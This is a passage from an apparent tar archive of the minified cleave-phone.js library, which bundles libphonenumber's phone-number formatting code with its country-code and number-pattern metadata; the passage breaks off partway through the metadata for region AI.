});vendor/input-masks/cleave-phone.js000066600001212510151150442740013231 0ustar00!function(){function l(l,n){var u=l.split("."),d=Z;u[0]in d||!d.execScript||d.execScript("var "+u[0]);for(var $;u.length&&($=u.shift());)u.length||void 0===n?d=d[$]?d[$]:d[$]={}:d[$]=n}function n(l,n){function u(){}u.prototype=n.prototype,l.M=n.prototype,l.prototype=new u,l.prototype.constructor=l,l.N=function(l,u,d){for(var $=Array(arguments.length-2),t=2;t<arguments.length;t++)$[t-2]=arguments[t];return n.prototype[u].apply(l,$)}}function u(l,n){null!=l&&this.a.apply(this,arguments)}function d(l){l.b=""}function $(l,n){l.sort(n||t)}function t(l,n){return l>n?1:l<n?-1:0}function e(l){var n,u=[],d=0;for(n in l)u[d++]=l[n];return u}function r(l,n){this.b=l,this.a={};for(var u=0;u<n.length;u++){var d=n[u];this.a[d.b]=d}}function i(l){return l=e(l.a),$(l,function(l,n){return l.b-n.b}),l}function a(l,n){switch(this.b=l,this.g=!!n.v,this.a=n.c,this.i=n.type,this.h=!1,this.a){case w:case x:case J:case Q:case X:case Y:case W:this.h=!0}this.f=n.defaultValue}function o(){this.a={},this.f=this.j().a,this.b=this.g=null}function C(l,n){for(var u=i(l.j()),d=0;d<u.length;d++){var $=u[d],t=$.b;if(null!=n.a[t]){l.b&&delete l.b[$.b];var e=11==$.a||10==$.a;if($.g)for(var $=s(n,t)||[],r=0;r<$.length;r++){var a=l,o=t,f=e?$[r].clone():$[r];a.a[o]||(a.a[o]=[]),a.a[o].push(f),a.b&&delete a.b[o]}else $=s(n,t),e?(e=s(l,t))?C(e,$):h(l,t,$.clone()):h(l,t,$)}}}function s(l,n){var u=l.a[n];if(null==u)return null;if(l.g){if(!(n in l.b)){var d=l.g,$=l.f[n];if(null!=u)if($.g){for(var t=[],e=0;e<u.length;e++)t[e]=d.b($,u[e]);u=t}else u=d.b($,u);return l.b[n]=u}return l.b[n]}return u}function f(l,n,u){var d=s(l,n);return l.f[n].g?d[u||0]:d}function p(l,n){var u;if(null!=l.a[n])u=f(l,n,void 0);else l:{if(u=l.f[n],void 0===u.f){var d=u.i;if(d===Boolean)u.f=!1;else if(d===Number)u.f=0;else{if(d!==String){u=new d;break l}u.f=u.h?"0":""}}u=u.f}return u}function c(l,n){return l.f[n].g?null!=l.a[n]?l.a[n].length:0:null!=l.a[n]?1:0}function h(l,n,u){l.a[n]=u,l.b&&(l.b[n]=u)}function g(l,n){var u,d=[];for(u in n)0!=u&&d.push(new a(u,n[u]));return new r(l,d)}/*

 Protocol Buffer 2 Copyright 2008 Google Inc.
 All other code copyright its respective owners.
 Copyright (C) 2010 The Libphonenumber Authors

 Licensed under the Apache License, Version 2.0 (the "License");
 you may not use this file except in compliance with the License.
 You may obtain a copy of the License at

 http://www.apache.org/licenses/LICENSE-2.0

 Unless required by applicable law or agreed to in writing, software
 distributed under the License is distributed on an "AS IS" BASIS,
 WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 See the License for the specific language governing permissions and
 limitations under the License.
*/
function S(){o.call(this)}function M(){o.call(this)}function A(){o.call(this)}function m(){}function b(){}function G(){}/*

 Copyright (C) 2010 The Libphonenumber Authors.

 Licensed under the Apache License, Version 2.0 (the "License");
 you may not use this file except in compliance with the License.
 You may obtain a copy of the License at

 http://www.apache.org/licenses/LICENSE-2.0

 Unless required by applicable law or agreed to in writing, software
 distributed under the License is distributed on an "AS IS" BASIS,
 WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 See the License for the specific language governing permissions and
 limitations under the License.
*/
function y(){this.a={}}function T(l){return 0==l.length||tl.test(l)}function N(l,n){if(null==n)return null;n=n.toUpperCase();var u=l.a[n];if(null==u){if(u=nl[n],null==u)return null;u=(new G).a(A.j(),u),l.a[n]=u}return u}function B(l){return l=ll[l],null==l?"ZZ":l[0]}function E(l){this.H=RegExp(" "),this.C="",this.m=new u,this.w="",this.i=new u,this.u=new u,this.l=!0,this.A=this.o=this.F=!1,this.G=y.b(),this.s=0,this.b=new u,this.B=!1,this.h="",this.a=new u,this.f=[],this.D=l,this.J=this.g=v(this,this.D)}function v(l,n){var u;if(null!=n&&isNaN(n)&&n.toUpperCase()in nl){if(u=N(l.G,n),null==u)throw Error("Invalid region code: "+n);u=p(u,10)}else u=0;return u=N(l.G,B(u)),null!=u?u:el}function R(l){for(var n=l.f.length,u=0;u<n;++u){var $=l.f[u],t=p($,1);if(l.w==t)return!1;var e;e=l;var r=$,i=p(r,1);if(-1!=i.indexOf("|"))e=!1;else{i=i.replace(rl,"\\d"),i=i.replace(il,"\\d"),d(e.m);var a;a=e;var r=p(r,2),o="999999999999999".match(i)[0];o.length<a.a.b.length?a="":(a=o.replace(new RegExp(i,"g"),r),a=a.replace(RegExp("9","g")," ")),0<a.length?(e.m.a(a),e=!0):e=!1}if(e)return l.w=t,l.B=ol.test(f($,4)),l.s=0,!0}return l.l=!1}function I(l,n){for(var u=[],d=n.length-3,$=l.f.length,t=0;t<$;++t){var e=l.f[t];0==c(e,3)?u.push(l.f[t]):(e=f(e,3,Math.min(d,c(e,3)-1)),0==n.search(e)&&u.push(l.f[t]))}l.f=u}function K(l,n){l.i.a(n);var u=n;if($l.test(u)||1==l.i.b.length&&dl.test(u)){var $,u=n;"+"==u?($=u,l.u.a(u)):($=ul[u],l.u.a($),l.a.a($)),n=$}else l.l=!1,l.F=!0;if(!l.l){if(!l.F)if(U(l)){if(O(l))return L(l)}else if(0<l.h.length&&(u=l.a.toString(),d(l.a),l.a.a(l.h),l.a.a(u),u=l.b.toString(),$=u.lastIndexOf(l.h),d(l.b),l.b.a(u.substring(0,$))),l.h!=H(l))return l.b.a(" "),L(l);return l.i.toString()}switch(l.u.b.length){case 0:case 1:case 2:return l.i.toString();case 3:if(!U(l))return l.h=H(l),F(l);l.A=!0;default:return l.A?(O(l)&&(l.A=!1),l.b.toString()+l.a.toString()):0<l.f.length?(u=V(l,n),$=_(l),0<$.length?$:(I(l,l.a.toString()),R(l)?D(l):l.l?P(l,u):l.i.toString())):F(l)}}function L(l){return l.l=!0,l.A=!1,l.f=[],l.s=0,d(l.m),l.w="",F(l)}function _(l){for(var n=l.a.toString(),u=l.f.length,d=0;d<u;++d){var $=l.f[d],t=p($,1);if(new RegExp("^(?:"+t+")$").test(n))return l.B=ol.test(f($,4)),n=n.replace(new RegExp(t,"g"),f($,2)),P(l,n)}return""}function P(l,n){var u=l.b.b.length;return l.B&&0<u&&" "!=l.b.toString().charAt(u-1)?l.b+" "+n:l.b+n}function F(l){var n=l.a.toString();if(3<=n.length){for(var u=l.o&&0==l.h.length&&0<c(l.g,20)?s(l.g,20)||[]:s(l.g,19)||[],d=u.length,$=0;$<d;++$){var t=u[$];0<l.h.length&&T(p(t,4))&&!f(t,6)&&null==t.a[5]||(0!=l.h.length||l.o||T(p(t,4))||f(t,6))&&al.test(p(t,2))&&l.f.push(t)}return I(l,n),n=_(l),0<n.length?n:R(l)?D(l):l.i.toString()}return P(l,n)}function D(l){var n=l.a.toString(),u=n.length;if(0<u){for(var d="",$=0;$<u;$++)d=V(l,n.charAt($));return l.l?P(l,d):l.i.toString()}return l.b.toString()}function H(l){var n,u=l.a.toString(),$=0;return 1!=f(l.g,10)?n=!1:(n=l.a.toString(),n="1"==n.charAt(0)&&"0"!=n.charAt(1)&&"1"!=n.charAt(1)),n?($=1,l.b.a("1").a(" "),l.o=!0):null!=l.g.a[15]&&(n=new RegExp("^(?:"+f(l.g,15)+")"),n=u.match(n),null!=n&&null!=n[0]&&0<n[0].length&&(l.o=!0,$=n[0].length,l.b.a(u.substring(0,$)))),d(l.a),l.a.a(u.substring($)),u.substring(0,$)}function U(l){var n=l.u.toString(),u=new RegExp("^(?:\\+|"+f(l.g,11)+")"),u=n.match(u);return null!=u&&null!=u[0]&&0<u[0].length&&(l.o=!0,u=u[0].length,d(l.a),l.a.a(n.substring(u)),d(l.b),l.b.a(n.substring(0,u)),"+"!=n.charAt(0)&&l.b.a(" "),!0)}function O(l){if(0==l.a.b.length)return!1;var n,$=new u;l:{if(n=l.a.toString(),0!=n.length&&"0"!=n.charAt(0))for(var t,e=n.length,r=1;3>=r&&r<=e;++r)if(t=parseInt(n.substring(0,r),10),t in ll){$.a(n.substring(r)),n=t;break l}n=0}return 0!=n&&(d(l.a),l.a.a($.toString()),$=B(n),"001"==$?l.g=N(l.G,""+n):$!=l.D&&(l.g=v(l,$)),l.b.a(""+n).a(" "),l.h="",!0)}function V(l,n){var u=l.m.toString();if(0<=u.substring(l.s).search(l.H)){var $=u.search(l.H),u=u.replace(l.H,n);return d(l.m),l.m.a(u),l.s=$,u.substring(0,l.s+1)}return 1==l.f.length&&(l.l=!1),l.w="",l.i.toString()}var Z=this;u.prototype.b="",u.prototype.set=function(l){this.b=""+l},u.prototype.a=function(l,n,u){if(this.b+=String(l),null!=n)for(var d=1;d<arguments.length;d++)this.b+=arguments[d];return this},u.prototype.toString=function(){return this.b};var W=1,Y=2,w=3,x=4,J=6,Q=16,X=18;o.prototype.set=function(l,n){h(this,l.b,n)},o.prototype.clone=function(){var l=new this.constructor;return l!=this&&(l.a={},l.b&&(l.b={}),C(l,this)),l},n(S,o);var j=null;n(M,o);var q=null;n(A,o);var k=null;S.prototype.j=function(){var l=j;return l||(j=l=g(S,{0:{name:"NumberFormat",I:"i18n.phonenumbers.NumberFormat"},1:{name:"pattern",required:!0,c:9,type:String},2:{name:"format",required:!0,c:9,type:String},3:{name:"leading_digits_pattern",v:!0,c:9,type:String},4:{name:"national_prefix_formatting_rule",c:9,type:String},6:{name:"national_prefix_optional_when_formatting",c:8,defaultValue:!1,type:Boolean},5:{name:"domestic_carrier_code_formatting_rule",c:9,type:String}})),l},S.j=S.prototype.j,M.prototype.j=function(){var l=q;return l||(q=l=g(M,{0:{name:"PhoneNumberDesc",I:"i18n.phonenumbers.PhoneNumberDesc"},2:{name:"national_number_pattern",c:9,type:String},9:{name:"possible_length",v:!0,c:5,type:Number},10:{name:"possible_length_local_only",v:!0,c:5,type:Number},6:{name:"example_number",c:9,type:String}})),l},M.j=M.prototype.j,A.prototype.j=function(){var l=k;return l||(k=l=g(A,{0:{name:"PhoneMetadata",I:"i18n.phonenumbers.PhoneMetadata"},1:{name:"general_desc",c:11,type:M},2:{name:"fixed_line",c:11,type:M},3:{name:"mobile",c:11,type:M},4:{name:"toll_free",c:11,type:M},5:{name:"premium_rate",c:11,type:M},6:{name:"shared_cost",c:11,type:M},7:{name:"personal_number",c:11,type:M},8:{name:"voip",c:11,type:M},21:{name:"pager",c:11,type:M},25:{name:"uan",c:11,type:M},27:{name:"emergency",c:11,type:M},28:{name:"voicemail",c:11,type:M},29:{name:"short_code",c:11,type:M},30:{name:"standard_rate",c:11,type:M},31:{name:"carrier_specific",c:11,type:M},33:{name:"sms_services",c:11,type:M},24:{name:"no_international_dialling",c:11,type:M},9:{name:"id",required:!0,c:9,type:String},10:{name:"country_code",c:5,type:Number},11:{name:"international_prefix",c:9,type:String},17:{name:"preferred_international_prefix",c:9,type:String},12:{name:"national_prefix",c:9,type:String},13:{name:"preferred_extn_prefix",c:9,type:String},15:{name:"national_prefix_for_parsing",c:9,type:String},16:{name:"national_prefix_transform_rule",c:9,type:String},18:{name:"same_mobile_and_fixed_line_pattern",c:8,defaultValue:!1,type:Boolean},19:{name:"number_format",v:!0,c:11,type:S},20:{name:"intl_number_format",v:!0,c:11,type:S},22:{name:"main_country_for_code",c:8,defaultValue:!1,type:Boolean},23:{name:"leading_digits",c:9,type:String},26:{name:"leading_zero_possible",c:8,defaultValue:!1,type:Boolean}})),l},A.j=A.prototype.j,m.prototype.a=function(l){throw new l.b,Error("Unimplemented")},m.prototype.b=function(l,n){if(11==l.a||10==l.a)return n instanceof o?n:this.a(l.i.prototype.j(),n);if(14==l.a){if("string"==typeof n&&z.test(n)){var u=Number(n);if(0<u)return u}return n}if(!l.h)return n;if(u=l.i,u===String){if("number"==typeof n)return String(n)}else if(u===Number&&"string"==typeof n&&("Infinity"===n||"-Infinity"===n||"NaN"===n||z.test(n)))return Number(n);return n};var z=/^-?[0-9]+$/;n(b,m),b.prototype.a=function(l,n){var u=new l.b;return u.g=this,u.a=n,u.b={},u},n(G,b),G.prototype.b=function(l,n){return 8==l.a?!!n:m.prototype.b.apply(this,arguments)},G.prototype.a=function(l,n){return G.M.a.call(this,l,n)};/*

 Copyright (C) 2010 The Libphonenumber Authors

 Licensed under the Apache License, Version 2.0 (the "License");
 you may not use this file except in compliance with the License.
 You may obtain a copy of the License at

 http://www.apache.org/licenses/LICENSE-2.0

 Unless required by applicable law or agreed to in writing, software
 distributed under the License is distributed on an "AS IS" BASIS,
 WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 See the License for the specific language governing permissions and
 limitations under the License.
*/
var ll={1:"US AG AI AS BB BM BS CA DM DO GD GU JM KN KY LC MP MS PR SX TC TT VC VG VI".split(" "),7:["RU","KZ"],20:["EG"],27:["ZA"],30:["GR"],31:["NL"],32:["BE"],33:["FR"],34:["ES"],36:["HU"],39:["IT","VA"],40:["RO"],41:["CH"],43:["AT"],44:["GB","GG","IM","JE"],45:["DK"],46:["SE"],47:["NO","SJ"],48:["PL"],49:["DE"],51:["PE"],52:["MX"],53:["CU"],54:["AR"],55:["BR"],56:["CL"],57:["CO"],58:["VE"],60:["MY"],61:["AU","CC","CX"],62:["ID"],63:["PH"],64:["NZ"],65:["SG"],66:["TH"],81:["JP"],82:["KR"],84:["VN"],86:["CN"],90:["TR"],91:["IN"],92:["PK"],93:["AF"],94:["LK"],95:["MM"],98:["IR"],211:["SS"],212:["MA","EH"],213:["DZ"],216:["TN"],218:["LY"],220:["GM"],221:["SN"],222:["MR"],223:["ML"],224:["GN"],225:["CI"],226:["BF"],227:["NE"],228:["TG"],229:["BJ"],230:["MU"],231:["LR"],232:["SL"],233:["GH"],234:["NG"],235:["TD"],236:["CF"],237:["CM"],238:["CV"],239:["ST"],240:["GQ"],241:["GA"],242:["CG"],243:["CD"],244:["AO"],245:["GW"],246:["IO"],247:["AC"],248:["SC"],249:["SD"],250:["RW"],251:["ET"],252:["SO"],253:["DJ"],254:["KE"],255:["TZ"],256:["UG"],257:["BI"],258:["MZ"],260:["ZM"],261:["MG"],262:["RE","YT"],263:["ZW"],264:["NA"],265:["MW"],266:["LS"],267:["BW"],268:["SZ"],269:["KM"],290:["SH","TA"],291:["ER"],297:["AW"],298:["FO"],299:["GL"],350:["GI"],351:["PT"],352:["LU"],353:["IE"],354:["IS"],355:["AL"],356:["MT"],357:["CY"],358:["FI","AX"],359:["BG"],370:["LT"],371:["LV"],372:["EE"],373:["MD"],374:["AM"],375:["BY"],376:["AD"],377:["MC"],378:["SM"],380:["UA"],381:["RS"],382:["ME"],383:["XK"],385:["HR"],386:["SI"],387:["BA"],389:["MK"],420:["CZ"],421:["SK"],423:["LI"],500:["FK"],501:["BZ"],502:["GT"],503:["SV"],504:["HN"],505:["NI"],506:["CR"],507:["PA"],508:["PM"],509:["HT"],590:["GP","BL","MF"],591:["BO"],592:["GY"],593:["EC"],594:["GF"],595:["PY"],596:["MQ"],597:["SR"],598:["UY"],599:["CW","BQ"],670:["TL"],672:["NF"],673:["BN"],674:["NR"],675:["PG"],676:["TO"],677:["SB"],678:["VU"],679:["FJ"],680:["PW"],681:["WF"],682:["CK"],683:["NU"],685:["WS"],686:["KI"],687:["NC"],688:["TV"],689:["PF"],690:["TK"],691:["FM"],692:["MH"],800:["001"],808:["001"],850:["KP"],852:["HK"],853:["MO"],855:["KH"],856:["LA"],870:["001"],878:["001"],880:["BD"],881:["001"],882:["001"],883:["001"],886:["TW"],888:["001"],960:["MV"],961:["LB"],962:["JO"],963:["SY"],964:["IQ"],965:["KW"],966:["SA"],967:["YE"],968:["OM"],970:["PS"],971:["AE"],972:["IL"],973:["BH"],974:["QA"],975:["BT"],976:["MN"],977:["NP"],979:["001"],992:["TJ"],993:["TM"],994:["AZ"],995:["GE"],996:["KG"],998:["UZ"]},nl={800:[null,[null,null,"\\d{8}",null,null,null,null,null,null,[8]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"\\d{8}",null,null,null,"12345678"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"001",800,null,null,null,null,null,null,null,1,[[null,"(\\d{4})(\\d{4})","$1 $2"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],808:[null,[null,null,"\\d{8}",null,null,null,null,null,null,[8]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"\\d{8}",null,null,null,"12345678"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"001",808,null,null,null,null,null,null,null,1,[[null,"(\\d{4})(\\d{4})","$1 $2"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],870:[null,[null,null,"[35-7]\\d{8}",null,null,null,null,null,null,[9]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"(?:[356]\\d|7[6-8])\\d{7}",null,null,null,"301234567"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"001",870,null,null,null,null,null,null,null,null,[[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[35-7]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],878:[null,[null,null,"10\\d{10}",null,null,null,null,null,null,[12]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"10\\d{10}",null,null,null,"101234567890"],"001",878,null,null,null,null,null,null,null,1,[[null,"(\\d{2})(\\d{5})(\\d{5})","$1 $2 $3",["1"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],881:[null,[null,null,"[67]\\d{8}",null,null,null,null,null,null,[9]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"[67]\\d{8}",null,null,null,"612345678"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"001",881,null,null,null,null,null,null,null,null,[[null,"(\\d)(\\d{3})(\\d{5})","$1 $2 $3",["[67]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],882:[null,[null,null,"[13]\\d{6}(?:\\d{2,5})?|1\\d{7}",null,null,null,null,null,null,[7,8,9,10,11,12]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"3(?:(?:(?:2|7\\d{3})\\d|37)\\d\\d|4(?:2|7\\d{3}))\\d{4}",null,null,null,"3421234",null,null,[7,9,10,12]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"(?:1(?:3(?:0[0347]|[13][0139]|2[035]|4[013568]|6[0459]|7[06]|8[15-8]|9[0689])|6\\d{1,6})|3(?:45|9\\d{3})\\d{3})\\d{4}",null,null,null,"390123456789"],"001",882,null,null,null,null,null,null,null,null,[[null,"(\\d{2})(\\d{5})","$1 $2",["16|342"]],[null,"(\\d{2})(\\d{2})(\\d{4})","$1 $2 $3",["1"]],[null,"(\\d{2})(\\d{4})(\\d{3})","$1 $2 $3",["3[23]"]],[null,"(\\d{2})(\\d{3,4})(\\d{4})","$1 $2 $3",["1"]],[null,"(\\d{2})(\\d{4})(\\d{4})","$1 $2 $3",["34[57]"]],[null,"(\\d{3})(\\d{4})(\\d{4})","$1 $2 $3",["34"]],[null,"(\\d{2})(\\d{4,5})(\\d{5})","$1 $2 $3",["[13]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,"348[57]\\d{7}",null,null,null,"34851234567",null,null,[11]]],883:[null,[null,null,"51\\d{7}(?:\\d{3})?",null,null,null,null,null,null,[9,12]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"51[013]0\\d{8}|5100\\d{5}",null,null,null,"510012345"],"001",883,null,null,null,null,null,null,null,1,[[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["510"]],[null,"(\\d{3})(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3 $4",["510"]],[null,"(\\d{4})(\\d{4})(\\d{4})","$1 $2 $3",["5"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],888:[null,[null,null,"\\d{11}",null,null,null,null,null,null,[11]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"001",888,null,null,null,null,null,null,null,1,[[null,"(\\d{3})(\\d{3})(\\d{5})","$1 $2 $3"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"\\d{11}",null,null,null,"12345678901"],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],979:[null,[null,null,"\\d{9}",null,null,null,null,null,null,[9]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"\\d{9}",null,null,null,"123456789"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"001",979,null,null,null,null,null,null,null,1,[[null,"(\\d)(\\d{4})(\\d{4})","$1 $2 $3"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],AC:[null,[null,null,"(?:[01589]\\d|[46])\\d{4}",null,null,null,null,null,null,[5,6]],[null,null,"6[2-467]\\d{3}",null,null,null,"62889",null,null,[5]],[null,null,"4\\d{4}",null,null,null,"40123",null,null,[5]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"AC",247,"00",null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"[01589]\\d{5}",null,null,null,"542011",null,null,[6]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],AD:[null,[null,null,"(?:1|6\\d)\\d{7}|[136-9]\\d{5}",null,null,null,null,null,null,[6,8,9]],[null,null,"[78]\\d{5}",null,null,null,"712345",null,null,[6]],[null,null,"690\\d{6}|[36]\\d{5}",null,null,null,"312345",null,null,[6,9]],[null,null,"180[02]\\d{4}",null,null,null,"18001234",null,null,[8]],[null,null,"[19]\\d{5}",null,null,null,"912345",null,null,[6]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"AD",376,"00",null,null,null,null,null,null,null,[[null,"(\\d{3})(\\d{3})","$1 $2",["[136-9]"]],[null,"(\\d{4})(\\d{4})","$1 $2",["1"]],[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["6"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,"1800\\d{4}",null,null,null,null,null,null,[8]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],AE:[null,[null,null,"(?:[4-7]\\d|9[0-689])\\d{7}|800\\d{2,9}|[2-4679]\\d{7}",null,null,null,null,null,null,[5,6,7,8,9,10,11,12]],[null,null,"[2-4679][2-8]\\d{6}",null,null,null,"22345678",null,null,[8],[7]],[null,null,"5[024-68]\\d{7}",null,null,null,"501234567",null,null,[9]],[null,null,"400\\d{6}|800\\d{2,9}",null,null,null,"800123456"],[null,null,"900[02]\\d{5}",null,null,null,"900234567",null,null,[9]],[null,null,"700[05]\\d{5}",null,null,null,"700012345",null,null,[9]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"AE",971,"00","0",null,null,"0",null,null,null,[[null,"(\\d{3})(\\d{2,9})","$1 $2",["60|8"]],[null,"(\\d)(\\d{3})(\\d{4})","$1 $2 $3",["[236]|[479][2-8]"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["5"],"0$1"],[null,"(\\d{3})(\\d)(\\d{5})","$1 $2 $3",["[479]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"600[25]\\d{5}",null,null,null,"600212345",null,null,[9]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],AF:[null,[null,null,"[2-7]\\d{8}",null,null,null,null,null,null,[9],[7]],[null,null,"(?:[25][0-8]|[34][0-4]|6[0-5])[2-9]\\d{6}",null,null,null,"234567890",null,null,null,[7]],[null,null,"7(?:[014-9]\\d|2[89]|3[01])\\d{6}",null,null,null,"701234567"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"AF",93,"00","0",null,null,"0",null,null,null,[[null,"(\\d{3})(\\d{4})","$1 $2",["[2-9]"]],[null,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["[2-7]"],"0$1"]],[[null,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["[2-7]"],"0$1"]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],AG:[null,[null,null,"(?:268|[58]\\d\\d|900)\\d{7}",null,null,null,null,null,null,[10],[7]],[null,null,"268(?:4(?:6[0-38]|84)|56[0-2])\\d{4}",null,null,null,"2684601234",null,null,null,[7]],[null,null,"268(?:464|7(?:1[3-9]|2\\d|3[246]|64|[78][0-689]))\\d{4}",null,null,null,"2684641234",null,null,null,[7]],[null,null,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",null,null,null,"8002123456"],[null,null,"900[2-9]\\d{6}",null,null,null,"9002123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"5(?:00|2[12]|33|44|66|77|88)[2-9]\\d{6}",null,null,null,"5002345678"],[null,null,"26848[01]\\d{4}",null,null,null,"2684801234",null,null,null,[7]],"AG",1,"011","1",null,null,"1",null,null,null,null,null,[null,null,"26840[69]\\d{4}",null,null,null,"2684061234",null,null,null,[7]],null,"268",[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],AI:[null,[null,null,"(?:264|[58]\\d\\d|900)\\d{7}",null,null,null,null,null,null,[10],[7]],[null,null,"2644(?:6[12]|9[78])\\d{4}",null,null,null,"2644612345",null,null,null,[7]],[null,null,"264(?:235|476|5(?:3[6-9]|8[1-4])|7(?:29|72))\\d{4}",null,null,null,"2642351234",null,null,null,[7]],[null,null,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",null,null,null,"8002123456"],[null,null,"900[2-9]\\d{6}",null,null,null,"9002123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"5(?:00|2[12]|33|44|66|77|88)[2-9]\\d{6}",null,null,null,"5002345678"],[null,null,null,null,null,null,null,null,null,[-1]],"AI",1,"011","1",null,null,"1